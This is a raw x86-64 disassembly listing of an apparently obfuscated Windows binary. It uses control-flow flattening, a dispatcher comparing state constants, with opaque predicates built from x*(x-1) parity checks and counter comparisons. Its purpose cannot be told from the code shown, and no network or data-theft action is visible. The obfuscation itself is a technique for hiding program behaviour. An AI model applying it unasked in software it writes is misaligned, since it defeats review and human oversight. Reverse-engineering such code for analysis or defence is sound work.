test cl, cl
mov eax, 0xc63d9853
jmp 0x14002a730
cmp eax, 0xede31a11
jg 0x140026655
cmp eax, 0xe2a2f0c0
jle 0x140026864
cmp eax, 0xe9120947
jle 0x140026c91
cmp eax, 0xebe5cd7c
jg 0x14002741b
cmp eax, 0xe9e6803a
jg 0x140028537
cmp eax, 0xe9120948
je 0x1400295c4
cmp eax, 0xe9c87653
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x3fa37da1
and ecx, 0xc05c825e
or ecx, eax
mov eax, ecx
xor eax, 0xc05c825e
and eax, 0xfffffffe
xor ecx, 0x3fa37da0
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe63b8eb7
mov ebx, 0x5566f224
cmovne eax, ebx
test dl, dl
mov edx, 0xe63b8eb7
jmp 0x14002ae0a
cmp eax, 0x962e7a38
jle 0x140026903
cmp eax, 0x99152bf5
jle 0x140026cd2
cmp eax, 0x9a4c3134
jg 0x140027491
cmp eax, 0x99427f83
jg 0x140028562
cmp eax, 0x99152bf6
je 0x1400295da
cmp eax, 0x992343e5
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0x962e7a39
mov ebx, 0x65b072e2
cmovne edx, ebx
test cl, cl
mov ecx, 0x962e7a39
jmp 0x140026be9
cmp eax, 0xd2f43dea
jle 0x1400269a0
cmp eax, 0xd5da7f78
jle 0x140026d19
cmp eax, 0xd81340ae
jg 0x14002751d
cmp eax, 0xd67f15b2
jg 0x1400285e0
cmp eax, 0xd5da7f79
je 0x1400295ed
cmp eax, 0xd61fae22
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xfb9b39a
mov edx, 0xdc4100bf
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xfb9b39a
jmp 0x140029551
cmp eax, 0xb8487728
jle 0x140026a65
cmp eax, 0xbcda082d
jle 0x140026dd4
cmp eax, 0xbef42e78
jg 0x140027712
cmp eax, 0xbe1e63eb
jg 0x14002860b
cmp eax, 0xbcda082e
je 0x140029661
cmp eax, 0xbce30a80
jne 0x14001ff30
mov eax, 0x4a509e3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xf458f63e
jle 0x140026ab1
cmp eax, 0xf5e32ce8
je 0x14002bddb
cmp eax, 0xf458f63f
je 0x1400296b6
cmp eax, 0xf4669146
jne 0x14001ff30
mov eax, 0x60d337cb
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x8235b03d
jg 0x140026e16
cmp eax, 0x80e2e644
jle 0x1400278c4
cmp eax, 0x81ce5c9d
jg 0x1400286d9
cmp eax, 0x80e2e645
je 0x14002974a
cmp eax, 0x8120aaf3
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xcc20c24
and edx, 0xf33df3db
or edx, ebx
xor edx, 0xf33df3da
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x8870f396
mov ebx, 0x225505e3
cmovne edx, ebx
test cl, cl
mov ecx, 0x8870f396
jmp 0x140026be9
cmp eax, 0xc16ce533
jg 0x140026ed5
cmp eax, 0xc0e763f9
jle 0x140027970
cmp eax, 0xc10781d4
jg 0x140028719
cmp eax, 0xc0e763fa
je 0x1400297a4
cmp eax, 0xc0f08929
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
xor cl, al
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x15daf472
mov ebx, 0x71612d4f
cmovne eax, ebx
test dl, dl
mov edx, 0x71612d4f
jmp 0x140029797
cmp eax, 0xa147ea3b
jg 0x140026fe8
cmp eax, 0x9e529840
jle 0x1400279f9
cmp eax, 0x9f615079
jg 0x140028744
cmp eax, 0x9e529841
je 0x140029844
cmp eax, 0x9e681c4e
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0x5a4547e
mov eax, 0x8218abfa
cmovne edx, eax
test cl, cl
mov eax, 0x5a4547e
jmp 0x14002a48f
cmp eax, 0xdf3c6ae6
jg 0x14002707d
cmp eax, 0xdccd2621
jle 0x140027a51
cmp eax, 0xdde4d52c
jg 0x140028803
cmp eax, 0xdccd2622
je 0x140029859
cmp eax, 0xdcf74840
jne 0x14001ff30
cmp dword [rbp + 0x11c], 0
sete byte [rbp + 0xd7]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
xor cl, al
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xac329c5
mov ebx, 0xac013208
cmovne eax, ebx
test dl, dl
mov edx, 0xac013208
jmp 0x140029797
cmp eax, 0x91abb4b2
jg 0x1400270d3
cmp eax, 0x9132a2cc
jle 0x140027ac6
cmp eax, 0x916adc06
jg 0x14002882e
cmp eax, 0x9132a2cd
je 0x1400298c3
cmp eax, 0x9138dcab
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xfa13f074
and ecx, 0x5ec0f8b
or ecx, eax
xor ecx, 0x5ec0f8b
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0x3cd8d9eb
mov eax, 0xe9e6803b
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0x3cd8d9eb
cmovne eax, ecx
test dl, dl
jmp 0x14002ae0f
cmp eax, 0xce9bc143
jg 0x1400271a3
cmp eax, 0xcc674aa8
jle 0x140027b78
cmp eax, 0xccf921e1
jg 0x1400288ae
cmp eax, 0xcc674aa9
je 0x14002992b
cmp eax, 0xcc92daa2
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1f5f5783
and edx, 0xe0a0a87c
or edx, ecx
mov ebx, edx
xor ebx, 0xe0a0a87c
xor edx, 0x4585401
and edx, 0x64f8f47d
mov ecx, ebx
and ecx, 0x9b070b82
or ecx, edx
xor ecx, 0x9b070b83
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x861b5f7b
mov ebx, 0xe2a2f0c1
cmovne edx, ebx
test al, al
mov eax, 0x861b5f7b
cmovne edx, eax
test cl, cl
jmp 0x140026bee
cmp eax, 0xb4317b39
jg 0x140027241
cmp eax, 0xb14dfba9
jle 0x140027c09
cmp eax, 0xb360330a
jg 0x1400288d9
cmp eax, 0xb14dfbaa
je 0x140029990
cmp eax, 0xb1c0a141
jne 0x14001ff30
mov eax, 0x2ca45461
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xf0418fbb
jg 0x1400272e5
cmp eax, 0xef537fd7
jg 0x140027748
cmp eax, 0xede31a12
je 0x140029191
cmp eax, 0xee7b9754
je 0x140029215
cmp eax, 0xeef55256
jne 0x14001ff30
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x60]
mov dword [rax], 0xfa
mov rdx, qword [rbp - 0x60]
sub rsp, 0x20
lea rcx, [0x140087240]
call qword [0x140087658]
add rsp, 0x20
mov eax, 0x888c9ab
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x87493e84
jle 0x140027cbc
cmp eax, 0x8a4413ed
jg 0x140028904
cmp eax, 0x87493e85
je 0x1400299a5
cmp eax, 0x8870f396
jne 0x14001ff30
mov eax, 0x225505e3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xc5f85f0e
jle 0x140027d48
cmp eax, 0xc64eea62
jg 0x140028936
cmp eax, 0xc5f85f0f
je 0x1400299e1
cmp eax, 0xc63d9853
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x77c6bd87
mov ebx, 0x73d3786c
cmovne edx, ebx
test cl, cl
mov ecx, 0x77c6bd87
cmovne edx, ecx
test al, al
cmove edx, ebx
jmp 0x14002babc
cmp eax, 0xa9c45edd
jle 0x140027d7e
cmp eax, 0xaa933fa5
jg 0x14002899e
cmp eax, 0xa9c45ede
je 0x1400299f6
cmp eax, 0xaa3c5b32
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xf56a56b2
mov eax, edx
and eax, 0xa95a94d
or eax, ebx
xor eax, 0xa95a94c
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x90fef42a
mov edx, 0x40859697
cmovne ecx, edx
test bl, bl
mov edx, 0x90fef42a
jmp 0x14002bab4
cmp eax, 0xe4b7e1c0
jle 0x140027e05
cmp eax, 0xe63b8eb6
jg 0x140028a13
cmp eax, 0xe4b7e1c1
je 0x140029a69
cmp eax, 0xe5720c1d
jne 0x14001ff30
mov eax, 0xd006eebf
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x9784788d
jle 0x140027eb3
cmp eax, 0x98bd48c5
jg 0x140028a3e
cmp eax, 0x9784788e
je 0x140029add
cmp eax, 0x97ee8e6b
jne 0x14001ff30
mov eax, dword [rbp + 0x114]
mov eax, 0xcf47dd3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xd36c3678
jle 0x140027f68
cmp eax, 0xd559dfd4
jg 0x140028a85
cmp eax, 0xd36c3679
je 0x140029b5b
cmp eax, 0xd54e0d46
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xf4d59b02
and ecx, 0xb2a64fd
or ecx, eax
mov eax, ecx
xor eax, 0xb2a64fd
xor ecx, 0xe0110a00
and ecx, 0xe3134abc
mov edx, eax
and edx, 0x1cecb543
or edx, ecx
xor edx, 0x1cecb542
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2ca5f0a4
and eax, 0xd35a0f5b
or eax, ecx
xor eax, 0xd35a0f5b
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xfa3c0688
mov ebx, 0x843c73cd
cmovne eax, ebx
test dl, dl
mov edx, 0xfa3c0688
jmp 0x14002a38f
cmp eax, 0xbac509e0
jle 0x140027ff6
cmp eax, 0xbb74ddb9
jg 0x140028b09
cmp eax, 0xbac509e1
je 0x140029bac
cmp eax, 0xbb19b4f7
jne 0x14001ff30
cmp byte [rbp + 0xaf], 0
mov eax, 0x12d91e88
mov ecx, 0x919d5bef
jmp 0x14002bb92
cmp eax, 0x8390cd94
jle 0x140028071
cmp eax, 0x842387a4
jg 0x140028b3b
cmp eax, 0x8390cd95
je 0x140029c26
cmp eax, 0x83931481
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x39d4c72a
and edx, 0xc62b38d5
or edx, ecx
mov ecx, edx
xor ecx, 0xc62b38d4
and ecx, 0xfffffffe
xor edx, 0x39d4c72b
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1c6444a8
and edx, 0xe39bbb57
or edx, ecx
xor edx, 0xe39bbb57
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xe33cf86a
mov ebx, 0xfc09a1e5
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0xe33cf86a
jmp 0x14002a730
cmp eax, 0xc2bf55e9
jle 0x140028117
cmp eax, 0xc3543cb8
jg 0x140028bae
cmp eax, 0xc2bf55ea
je 0x140029cb3
cmp eax, 0xc3368c64
jne 0x14001ff30
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov dword [rax], 0
mov rax, qword [rbp]
mov rbx, qword [rbp]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov r9, qword [rbp - 8]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov rdx, rbx
mov r8d, 0xfa
call qword [0x140081fc8]
add rsp, 0x20
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], rbx
mov rdx, qword [rbp + 8]
sub rsp, 0x20
lea rcx, [0x1400871c0]
mov r8d, 0x32
xor r9d, r9d
call fcn.140060110
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xd6b7faec
mov eax, edx
and eax, 0x29480513
or eax, ebx
xor eax, 0x29480512
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xa3907127
mov edx, 0x910a544f
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xa3907127
jmp 0x140029551
cmp eax, 0xa28a2c08
jle 0x1400281a3
cmp eax, 0xa453c2ce
jg 0x140028bd9
cmp eax, 0xa28a2c09
je 0x140029d2f
cmp eax, 0xa3907127
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6ae9ce9c
and ecx, 0x95163163
or ecx, edx
xor ecx, 0x6ae9ce9d
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x9d5fcafd
mov ebx, 0x1b8f8aff
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x9d5fcafd
jmp 0x14002979c
cmp eax, 0xe062d108
jle 0x14002823b
cmp eax, 0xe25d7457
jg 0x140028c66
cmp eax, 0xe062d109
je 0x140029dd1
cmp eax, 0xe21df71c
jne 0x14001ff30
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, 0xd07f6bd1
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x92eb4d83
jle 0x1400282d1
cmp eax, 0x95af0085
jg 0x140028c92
cmp eax, 0x92eb4d84
je 0x140029e3e
cmp eax, 0x9346b451
jne 0x14001ff30
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140087240]
lea r8, [0x14007b1f0]
lea r9, str.unknown_un
call fcn.14002be10
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xa4ce87f2
and ecx, 0x5b31780d
or ecx, eax
mov eax, ecx
xor eax, 0x5b31780d
xor ecx, 0xa48407b0
and ecx, 0xb7b517b5
mov edx, eax
and edx, 0x484ae84a
or edx, ecx
xor edx, 0x484ae84b
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x3e6769d6
mov ebx, 0x87493e85
cmovne eax, ebx
test cl, cl
mov ecx, 0x3e6769d6
jmp 0x14002a7a8
cmp eax, 0xcee0fa01
jle 0x140028342
cmp eax, 0xd07f6bd0
jg 0x140028d09
cmp eax, 0xcee0fa02
je 0x140029edd
cmp eax, 0xd006eebf
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x484cb218
and edx, 0xb7b34de7
or edx, eax
xor edx, 0xb7b34de7
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0x3d645178
mov edx, 0xe5720c1d
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0x3d645178
jmp 0x14002bb92
cmp eax, 0xb530d932
jle 0x140028390
cmp eax, 0xb63d8750
jg 0x140028d7a
cmp eax, 0xb530d933
je 0x140029f5a
cmp eax, 0xb5a71f2d
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x33e596aa
and edx, 0xcc1a6955
or edx, ebx
xor edx, 0x33e596ab
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x70f5e9c1
mov ebx, 0x620adc4f
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x70f5e9c1
jmp 0x14002a730
cmp eax, 0xf2037fb4
jg 0x140027800
cmp eax, 0xf0418fbc
je 0x140029271
cmp eax, 0xf0c55360
je 0x1400292f4
cmp eax, 0xf1a47e96
jne 0x14001ff30
cmp byte [rbp + 0xbf], 0
mov eax, 0xb5a71f2d
mov ecx, 0xd61fae22
jmp 0x14002bb92
cmp eax, 0x8d3b86df
jg 0x140028e08
cmp eax, 0x8c00168f
je 0x140029f6f
cmp eax, 0x8cc5e2d5
jne 0x14001ff30
mov eax, 0x41e41cf8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xcb11801c
jg 0x140028e7e
cmp eax, 0xca13ca65
je 0x140029f8b
cmp eax, 0xcac10534
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xe8decad5
mov eax, edx
and eax, 0x1721352a
or eax, ebx
xor eax, 0x1721352b
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0x767c1996
mov eax, 0xdbf697df
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x767c1996
jmp 0x14002ae76
cmp eax, 0xadc8842a
jg 0x140028f6a
cmp eax, 0xac73347e
je 0x140029fe5
cmp eax, 0xada0473f
jne 0x14001ff30
mov eax, 0xd4f495d
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xec4e1bbb
jg 0x140028fc3
cmp eax, 0xebe5cd7d
je 0x14002a03d
cmp eax, 0xec19e5f5
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x782c0243
and ecx, 0x87d3fdbc
or ecx, edx
xor ecx, 0x782c0242
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xc182617c
mov ebx, 0x5e551003
jmp 0x14002898f
cmp eax, 0x9c1b3095
jg 0x140029047
cmp eax, 0x9a4c3135
je 0x14002a052
cmp eax, 0x9b434fbc
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xb4af3991
mov eax, edx
and eax, 0x4b50c66e
or eax, ebx
xor eax, 0x4b50c66f
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xf009a015
mov edx, 0xd81340af
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xf009a015
jmp 0x140029551
cmp eax, 0xdb387ac6
jg 0x1400290dc
cmp eax, 0xd81340af
je 0x14002a08c
cmp eax, 0xdaf7013f
jne 0x14001ff30
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rdx, rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x60], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x58], rax
mov eax, 0xbc0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x50], rax
mov eax, 0xbc0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x48], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
mov eax, 0x20
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov eax, 0xbc0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov eax, 0xbc0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, 0x240
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, 0x70
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x200
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 8], rax
mov eax, 0x70
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x200
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x28]
mov dword [rdx], 0xfa
sub rsp, 0x20
lea rcx, [0x140086fc0]
call qword [0x140087238]
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x37]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x43c04060
mov ebx, 0xbb74ddba
jmp 0x14002b9b6
cmp eax, 0xbf8f0709
jg 0x140029107
cmp eax, 0xbef42e79
je 0x14002a0a1
cmp eax, 0xbf15a8e3
jne 0x14001ff30
mov eax, 0xf9287782
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xef537fd8
je 0x140029378
cmp eax, 0xef70d768
je 0x1400293e2
cmp eax, 0xf009a015
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfad2987d
and ecx, 0x52d6782
or ecx, eax
mov eax, ecx
xor eax, 0x52d6782
xor ecx, 0x20c00059
and ecx, 0x25e12359
mov edx, eax
and edx, 0xda1edca6
or edx, ecx
xor edx, 0xda1edca7
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe116fa62
and eax, 0x1ee9059d
or eax, ecx
xor eax, 0x1ee9059d
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x3664d6c6
mov ebx, 0x7a9acb79
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0x3664d6c6
jmp 0x14002b481
cmp eax, 0xf2037fb5
je 0x14002944b
cmp eax, 0xf277ac5c
je 0x1400290f2
cmp eax, 0xf35b963e
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x739eb097
and edx, 0x8c614f68
or edx, ecx
mov ecx, edx
xor ecx, 0x8c614f68
xor edx, 0x108a1003
and edx, 0x14aa572b
mov ebx, ecx
and ebx, 0xeb55a8d4
or ebx, edx
xor ebx, 0xeb55a8d5
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x20661076
and ecx, 0xdf99ef89
or ecx, edx
xor ecx, 0xdf99ef89
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x7485592a
mov ebx, 0xd67f15b3
cmovne edx, ebx
test al, al
mov eax, 0x7485592a
cmovne edx, eax
test cl, cl
jmp 0x140026bee
cmp eax, 0x8038429f
je 0x14002a0f4
cmp eax, 0x804b880f
je 0x14002a177
cmp eax, 0x80bbcc60
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x4a51eeed
mov ebx, ecx
and ebx, 0xb5ae1112
or ebx, edx
xor ebx, 0xb5ae1113
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xce68d3b0
and ecx, 0x31972c4f
or ecx, edx
xor ecx, 0x31972c4f
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
mov ecx, 0xf9287782
mov edx, 0xbf15a8e3
cmovne ecx, edx
test al, al
mov eax, 0xf9287782
cmovne eax, ecx
test bl, bl
jmp 0x14002b9c2
